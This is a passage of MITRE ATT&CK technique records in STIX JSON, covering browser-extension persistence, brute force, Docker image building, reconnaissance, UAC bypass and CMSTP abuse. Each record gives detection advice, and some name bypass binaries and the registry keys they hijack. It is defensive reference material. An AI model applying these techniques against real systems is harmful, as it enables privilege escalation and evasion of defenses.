                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021."
                },
                {
                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
                    "source_name": "Chrome Extension Crypto Miner"
                },
                {
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "source_name": "ICEBRG Chrome Extensions"
                },
                {
                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
                    "source_name": "Banker Google Chrome Extension Steals Creds"
                },
                {
                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
                    "source_name": "Catch All Chrome Extension"
                },
                {
                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
                    "source_name": "Stantinko Botnet"
                },
                {
                    "url": "https://kjaer.io/extension-malware/",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.",
                    "source_name": "Chrome Extension C2 Malware"
                }
            ],
            "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)",
            "name": "Browser Extensions",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-27T19:56:54.161Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_version": "1.2",
            "x_mitre_contributors": [
                "Chris Ross @xorrior",
                "Justin Warner, ICEBRG"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Windows Registry: Windows Registry Key Creation",
                "File: File Creation"
            ],
            "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Brute Force",
            "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1110",
                    "url": "https://attack.mitre.org/techniques/T1110"
                },
                {
                    "external_id": "CAPEC-49",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/49.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-14T12:04:36.243Z",
            "created": "2017-05-31T21:31:22.767Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ],
            "x_mitre_contributors": [
                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Magno Logan, @magnologan, Trend Micro",
                "Yossi Weizman, Azure Defender Research Team",
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800",
            "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
            "name": "Build Image on Host",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1612",
                    "url": "https://attack.mitre.org/techniques/T1612"
                },
                {
                    "source_name": "Docker Build Image",
                    "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild",
                    "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021."
                },
                {
                    "source_name": "Aqua Build Images on Hosts",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-19T13:39:56.999Z",
            "created": "2021-03-30T17:54:03.944Z",
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_contributors": [
                "Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security",
                "Roi Kol, @roykol1, Team Nautilus Aqua Security",
                "Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security",
                "Vishwas Manral, McAfee"
            ],
            "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.",
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Image: Image Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1591.002",
                    "url": "https://attack.mitre.org/techniques/T1591/002"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Business Relationships",
            "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:36:58.964Z",
            "created": "2020-10-02T16:27:55.713Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "name": "Bypass User Account Control",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1088",
                    "url": "https://attack.mitre.org/techniques/T1088"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "source_name": "TechNet How UAC Works"
                },
                {
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "source_name": "TechNet Inside UAC"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "source_name": "MSDN COM Elevation"
                },
                {
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "source_name": "Davidson Windows"
                },
                {
                    "url": "https://github.com/hfiref0x/UACME",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "source_name": "Github UACMe"
                },
                {
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "source_name": "enigma0x3 Fileless UAC Bypass"
                },
                {
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "source_name": "Fortinet Fareit"
                },
                {
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "source_name": "SANS UAC Bypass"
                },
                {
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "source_name": "enigma0x3 sdclt app paths"
                },
                {
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "source_name": "enigma0x3 sdclt bypass"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T20:08:32.863Z",
            "created": "2017-05-31T21:31:07.462Z"
        },
        {
            "created": "2020-01-30T14:24:34.977Z",
            "modified": "2020-07-22T21:36:52.458Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1548.002",
                    "url": "https://attack.mitre.org/techniques/T1548/002"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "source_name": "TechNet How UAC Works"
                },
                {
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "source_name": "TechNet Inside UAC"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "source_name": "MSDN COM Elevation"
                },
                {
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "source_name": "Davidson Windows"
                },
                {
                    "url": "https://github.com/hfiref0x/UACME",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "source_name": "Github UACMe"
                },
                {
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "source_name": "enigma0x3 Fileless UAC Bypass"
                },
                {
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "source_name": "Fortinet Fareit"
                },
                {
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "source_name": "SANS UAC Bypass"
                },
                {
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "source_name": "enigma0x3 sdclt app paths"
                },
                {
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "source_name": "enigma0x3 sdclt bypass"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bypass User Account Control",
            "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
            "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "x_mitre_defense_bypassed": [
                "Windows User Account Control"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "Administrator"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
            "x_mitre_data_sources": [
                "Process: Process Metadata",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Casey Smith"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1596.004",
                    "url": "https://attack.mitre.org/techniques/T1596/004"
                },
                {
                    "source_name": "DigitalShadows CDN",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "CDNs",
            "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
            "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:47:55.905Z",
            "created": "2020-10-02T16:59:56.648Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
            "name": "CMSTP",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1191",
                    "url": "https://attack.mitre.org/techniques/T1191"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "source_name": "Microsoft Connection Manager Oct 2009"
                },
                {
                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
                    "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"
                },
                {
                    "url": "https://msitpros.com/?p=3960",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "source_name": "MSitPros CMSTP Aug 2017"
                },
                {
                    "url": "https://twitter.com/NickTyrer/status/958450014111633408",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
                    "source_name": "Twitter CMSTP Jan 2018"
                },
                {
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "source_name": "GitHub Ultimate AppLocker Bypass List"
                },
                {
                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
                    "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T18:58:17.078Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.003",
                    "url": "https://attack.mitre.org/techniques/T1218/003"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "source_name": "Microsoft Connection Manager Oct 2009"
                },
                {
                    "url": "https://twitter.com/ItsReallyNick/status/958789644165894146",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
                    "source_name": "Twitter CMSTP Usage Jan 2018"
                },
                {
                    "url": "https://msitpros.com/?p=3960",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "source_name": "MSitPros CMSTP Aug 2017"
                },
                {
                    "url": "https://twitter.com/NickTyrer/status/958450014111633408",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
                    "source_name": "Twitter CMSTP Jan 2018"
                },
                {
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "source_name": "GitHub Ultimate AppLocker Bypass List"
                },
                {
                    "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
                    "source_name": "Endurant CMSTP July 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "CMSTP",
            "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
            "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:34:03.247Z",
            "created": "2020-01-23T18:27:30.656Z",
            "x_mitre_contributors": [
                "Nik Seetharaman, Palantir",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
